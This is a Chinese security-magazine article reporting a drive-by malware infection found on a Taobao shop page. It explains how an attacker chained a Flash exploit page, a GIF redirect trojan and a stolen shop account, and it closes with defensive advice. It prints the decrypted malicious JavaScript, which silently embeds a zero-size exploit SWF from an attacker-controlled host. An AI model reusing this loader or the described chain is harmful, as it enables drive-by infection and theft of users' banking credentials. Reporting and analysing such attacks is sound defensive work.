淘宝网——中国最大的购物网站,根据Alexa统计该居于全世界网站访问量排名的第22位,每天有无数人访问该网站。围绕在这个不打烊的购物网站周围的全是那些使用网银的用户,在黑客眼中他们就是猎物。
最近就有黑客发现了淘宝网的挂马漏洞——淘宝网允许用户将第三方网站的图片在淘宝店铺中显示。这个漏洞存在了很多年了,为什么现在才被黑客利用呢?在2007年之前,还没有图片挂马这种方式,该漏洞就等于不是漏洞。
自从图片挂马在2008年盛行后,就有黑客研究了这个存在多年的漏洞,但还是没有造成大的影响,为什么呢?是要利用该漏洞必须要取得网店的控制权吗?这不是关键原因!要对图片进行加密处理,成功通过淘宝的过滤,这才是关键的,而且这种方法已经被黑客成功掌握了。
目前,淘宝网已经有店铺被挂马了(在截稿之前,我们已经通知了淘宝网,得到了及时的处理)。这意味着什么?如果挂马漏洞被广泛利用,所有访问淘宝的用户都可能中毒,一旦病毒进入电脑成功运行,就可能会盗走网银中的“真金白银”。
淘宝店铺被挂马
3月19日,我想帮女朋友在淘宝网上挑选一款手机,然而正在浏览店铺时,电脑中的防挂马软件突然连续报警,提示一个网址名为http://shop3387***.taobao.com的淘宝店铺中含有恶意网站(图1)。
这个警报让我大吃一惊,因为根据我的经验,淘宝这样知名的电子商务网站安全防范措施一般比较多,遭到木马攻击的可能性相对小网站而言小得多。我发现该网站是一个“皇冠”级别的店铺,更加大了我追查挂马来源的兴趣。
于是赶紧在浏览器中点击右键选择“查看源文件”,查看该店铺页面的源代码(图2)。根据经验,我发现该店铺使用了一个GIF图片作为自己的店面图片,正是这个图片调用的木马导致了防挂马软件连续报警。
而根据这家店铺的统计数字显示(图3),这家店铺从开张到现在的流量几乎接近200万,平均每天访问人数高达1万人,而一个个穿行在这间危险店铺期间的顾客或许并不知道,此时木马病毒或许已经悄悄的进入了他们不设防的电脑之中,开始窃取他们的数据、隐私、银行账号……
问题出在哪?
近年来淘宝在网络安全方面投入颇多,特别是支付系统的安全性提升较高。在淘宝店铺方面,淘宝也不允许店主轻易将站内连接地址跳转到第三方网站,在防欺诈方面起到了安全防护作用。可采取了如此多的措施,为什么浏览淘宝店铺还可能被挂马呢?黑客又是通过什么样的手段将图片木马挂到淘宝上的?
从淘宝建立之初,大概是出于节约服务器资源的考虑,淘宝一直没有为店铺提供可供上传展示商品图片的选项,用户能够上传的只有略缩图图片。因此淘宝网允许用户将第三方网站的图片在淘宝店铺中显示。
允许用户用于商品展示和部分店铺装饰的图片来自第三方网站,就给黑客留下了无限发挥的潜力。特别是2008年,图片挂马已经成为一种主流挂马方式,在互联网中也可以找到众多的图片木马制作工具,而且操作过程简单,隐蔽性极高,也容易被用户忽视,此时如果用户的电脑没有及时打补丁和安装放病毒软件,则会在不知不觉中被木马入侵。
黑客是这样做到的
经过我分析,发现黑客在淘宝中使用的图片挂马方式,与《电脑报》介绍的“反击网页木马”系列中介绍的挂马手段有很多技术相似点,只不过进行了组合使用,这才绕过了淘宝的防护措施。
第一步:这名黑客将免杀处理的“木马下载器”上传到自己的网站,然后利用Adobe Flash Player SWF文件漏洞制作了一个溢出下载运行“木马下载器”的脚本网页木马,并通过Encode进行了网页代码加密(代码解密后如图4所示),并上传到自己指定的网站中。
代码解密后如下:
window.onerror=function(){return true;}
function init(){window.status="";}window.onload = init;
if(document.cookie.indexOf("play=")==-1){
var expires=new Date();
expires.setTime(expires.getTime()+24*60*60*1000);
document.cookie="play=Yes;path=/;expires="+expires.toGMTString();
if(navigator.userAgent.toLowerCase().indexOf("msie")>0)
{document.write('<object classid="clsid:d27cdb6e-ae6d-11cf-96b8-
444553540000"codebase="http://download.macromedia.com/pub/
shockwave/cabs/flash/swflash.cab#version=4,0,19,0" width="0"
height="0" align="middle">');
document.write('<param name="allowScriptAccess" value="always"/>');
document.write('<param name="movie" value="http://www.psp 1111 .cn
/flash/versionie.swf"/>');
document.write('<param name="quality" value="high"/>');
document.write('<param name="bgcolor" value="#ffffff"/>');
document.write('<embed src="http://www.psp****.cn/
flash/versionie.swf"/>');
document.write('</object>');
}else
{document.write("<EMBED src=http://www.psp 1111 .cn/
flash/versionff.swf width=0 height=0>");}}
第二步:黑客使用了一种GIF图片挂马木马生成器,该生成器提供两种挂马方式,一种是直接允许输出的图片能运行黑客指定的EXE木马,另外一种则是利用跳转功能将网页跳转到黑客指定的挂马网页。
黑客选择了查杀困难更大的网页跳转式挂马,他首先运行GIF图片挂马生成器,在“网页跳转式图片木马”一项下方输入自己上传的溢出网页木马页面网络地址,然后点击地址下方的“生成”按钮(图5),快速的将GIF图片木马生成好。当这张图片上传到网上被用户浏览后,用户的浏览器会自动跳转到恶意挂马页面,运行挂马页面的病毒程序。
第三步:黑客通过技术手段窃取了淘宝某店铺的账号(由于我们看到是一个皇冠信誉级别的淘宝商铺,因此怀疑这名店铺的店主可能也是受害者),在窃取到店铺账号和密码后,黑客进入到淘宝店主的后台,通过淘宝的店铺设置功能,在该店铺中插入了自己指定的GIF网页木马地址,然后悄悄退出网店,就完成了全部的挂马操作。
此时任何浏览该页面的用户都会进入一个连环陷阱,先执行网页木马,随后运行木马下载器,下载更多的木马到自己电脑中执行,形成一个恶性的死循环,最终导致自己的网银账号等信息被盗取。
防范方案
面对未知的挂马漏洞,普通用户只要做好自己的安全防范,就可以以不变应万变(具体方法参见上期F7《“鸡尾酒”法预防盗号》一文)。病毒进不了电脑,或者进入电脑又存活不了,我们就达到了目的,根本不需要知道病毒利用的是什么漏洞。
对淘宝店主而言,可以选择一些Web反挂马程序例如锐甲,来监视自己的店铺,此外也需要经常查杀病毒。当然,淘宝也需要重新考了图片引用的问题,建立自己的图片服务器或者与第三方签订图片保存协议,确保引用图片的安全性。